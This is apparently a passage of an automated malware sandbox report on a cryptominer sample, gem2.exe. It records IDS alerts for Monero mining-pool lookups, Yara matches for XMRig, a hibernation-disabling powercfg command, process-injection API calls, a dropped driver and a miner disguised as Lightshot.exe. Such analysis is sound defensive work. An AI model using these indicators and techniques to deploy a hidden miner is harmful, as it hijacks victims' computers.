Source: Network traffic	Suricata IDS: 2047928 - Severity 2 - ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) : 192.168.2.5:60174 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.5:49704 -> 141.94.96.144:80

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: pool.supportxmr.com

Source: lsass.exe, 00000024.00000002.3311887155.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://3csp.icrosof4m/ocp0
Source: lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 00000024.00000000.2096932816.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2202391543.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2216849441.00000140AE172000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312230976.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3311544783.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: lsass.exe, 00000024.00000002.3311409075.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097259456.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: Lightshot.exe, 00000025.00000003.2127811419.000002683F580000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: Lightshot.exe, 00000025.00000003.2127811419.000002683F580000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: Lightshot.exe, 00000025.00000003.2127811419.000002683F580000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: Lightshot.exe, 00000025.00000003.2127811419.000002683F580000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 00000024.00000000.2096932816.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2202391543.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2216849441.00000140AE172000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312230976.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3311544783.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000024.00000002.3311409075.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097259456.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 00000024.00000003.2202391543.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2216849441.00000140AE172000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312230976.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000024.00000000.2096932816.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2202391543.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2216849441.00000140AE172000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312230976.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3311544783.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097259456.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 00000024.00000002.3310424215.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000024.00000002.3310424215.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000024.00000000.2096621518.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3310067164.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: lsass.exe, 00000024.00000000.2096932816.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2202391543.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3311409075.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2216849441.00000140AE172000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312230976.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3311544783.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000024.00000003.2202391543.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2216849441.00000140AE172000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312230976.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097259456.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: lsass.exe, 00000024.00000003.2202391543.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000003.2216849441.00000140AE172000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312230976.00000140AE19D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: lsass.exe, 00000024.00000000.2096621518.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3310067164.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 00000024.00000000.2097259456.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097259456.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096899258.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2097055499.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3312501429.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

System Summary

Malicious sample detected (through community Yara rule)

Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: dialer.exe PID: 7720, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\gem2.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B1394 NtFlushKey,	0_2_00007FF72A7B1394
Source: C:\Windows\System32\dialer.exe	Code function: 23_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	23_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E8589828C8 NtEnumerateValueKey,NtEnumerateValueKey,	29_2_000001E8589828C8
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE86202C NtQuerySystemInformation,StrCmpNIW,	36_2_00000140AE86202C
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE86253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	36_2_00000140AE86253C
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D81394 NtSetWnfProcessNotificationEvent,	37_2_00007FF6E4D81394
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBE28C8 NtEnumerateValueKey,NtEnumerateValueKey,	41_2_000001160CBE28C8
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	62_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001394 NtQueryValueKey,	64_2_0000000140001394

Source: C:\ProgramData\Screenshots\Lightshot.exe

File created: C:\Windows\TEMP\yycjbdwxjaoe.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_dmcpz4ps.vdx.ps1

Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B65EC	0_2_00007FF72A7B65EC
Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B65EC	0_2_00007FF72A7B65EC
Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B65EC	0_2_00007FF72A7B65EC
Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B65EC	0_2_00007FF72A7B65EC
Source: C:\Windows\System32\dialer.exe	Code function: 23_2_000000014000226C	23_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 23_2_00000001400014D8	23_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 23_2_0000000140002560	23_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E858951F2C	29_2_000001E858951F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E8589638A8	29_2_000001E8589638A8
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E85895D0E0	29_2_000001E85895D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E858982B2C	29_2_000001E858982B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E8589944A8	29_2_000001E8589944A8
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E85898DCE0	29_2_000001E85898DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E8589B1F2C	29_2_000001E8589B1F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E8589C38A8	29_2_000001E8589C38A8
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E8589BD0E0	29_2_000001E8589BD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140ADFC1F2C	36_2_00000140ADFC1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140ADFCD0E0	36_2_00000140ADFCD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140ADFD38A8	36_2_00000140ADFD38A8
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE86DCE0	36_2_00000140AE86DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE8744A8	36_2_00000140AE8744A8
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE862B2C	36_2_00000140AE862B2C
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D865EC	37_2_00007FF6E4D865EC
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D865EC	37_2_00007FF6E4D865EC
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D865EC	37_2_00007FF6E4D865EC
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: 37_2_00007FF6E4D865EC	37_2_00007FF6E4D865EC
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD59D0E0	40_2_00000195DD59D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5A38A8	40_2_00000195DD5A38A8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD591F2C	40_2_00000195DD591F2C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CDCE0	40_2_00000195DD5CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5D44A8	40_2_00000195DD5D44A8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5C2B2C	40_2_00000195DD5C2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBB1F2C	41_2_000001160CBB1F2C
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBBD0E0	41_2_000001160CBBD0E0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBC38A8	41_2_000001160CBC38A8
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBE2B2C	41_2_000001160CBE2B2C
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBEDCE0	41_2_000001160CBEDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBF44A8	41_2_000001160CBF44A8
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_000000014000226C	62_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_00000001400014D8	62_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 62_2_0000000140002560	62_2_0000000140002560
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140003150	64_2_0000000140003150
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_00000001400026E0	64_2_00000001400026E0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10838A8	66_2_00000257E10838A8
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E107D0E0	66_2_00000257E107D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E1071F2C	66_2_00000257E1071F2C
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10B44A8	66_2_00000257E10B44A8
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10ADCE0	66_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10A2B2C	66_2_00000257E10A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1E38A8	67_2_000001F28C1E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1DD0E0	67_2_000001F28C1DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C1D1F2C	67_2_000001F28C1D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C9444A8	67_2_000001F28C9444A8
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93DCE0	67_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C932B2C	67_2_000001F28C932B2C
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FD1F2C	68_2_000001CA97FD1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FDD0E0	68_2_000001CA97FDD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA97FE38A8	68_2_000001CA97FE38A8
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA98542B2C	68_2_000001CA98542B2C
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854DCE0	68_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA985544A8	68_2_000001CA985544A8
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652F38A8	69_2_000001D2652F38A8
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652ED0E0	69_2_000001D2652ED0E0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2652E1F2C	69_2_000001D2652E1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D2653244A8	69_2_000001D2653244A8
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531DCE0	69_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26532AEC2	69_2_000001D26532AEC2
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D265312B2C	69_2_000001D265312B2C

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\yycjbdwxjaoe.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\Users\user\Desktop\gem2.exe	Code function: String function: 00007FF72A7B1394 appears 33 times
Source: C:\ProgramData\Screenshots\Lightshot.exe	Code function: String function: 00007FF6E4D81394 appears 33 times

Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 65.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: dialer.exe PID: 7720, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

